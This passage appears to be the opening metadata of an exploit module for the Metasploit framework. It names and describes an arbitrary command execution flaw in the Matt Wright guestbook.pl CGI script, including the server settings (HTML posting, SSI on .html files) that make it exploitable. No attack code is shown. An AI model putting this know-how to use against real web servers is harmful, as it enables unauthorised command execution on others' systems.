'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution',
'Description' => %q{
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
a flaw that may allow arbitrary command execution. The vulnerability
requires that HTML posting is enabled in the guestbook.pl script, and
that the web server must have the Server-Side Include (SSI) script
handler enabled for the '.html' file type. By combining the script
weakness with non-default server configuration, it is possible to exploit
this vulnerability successfully.
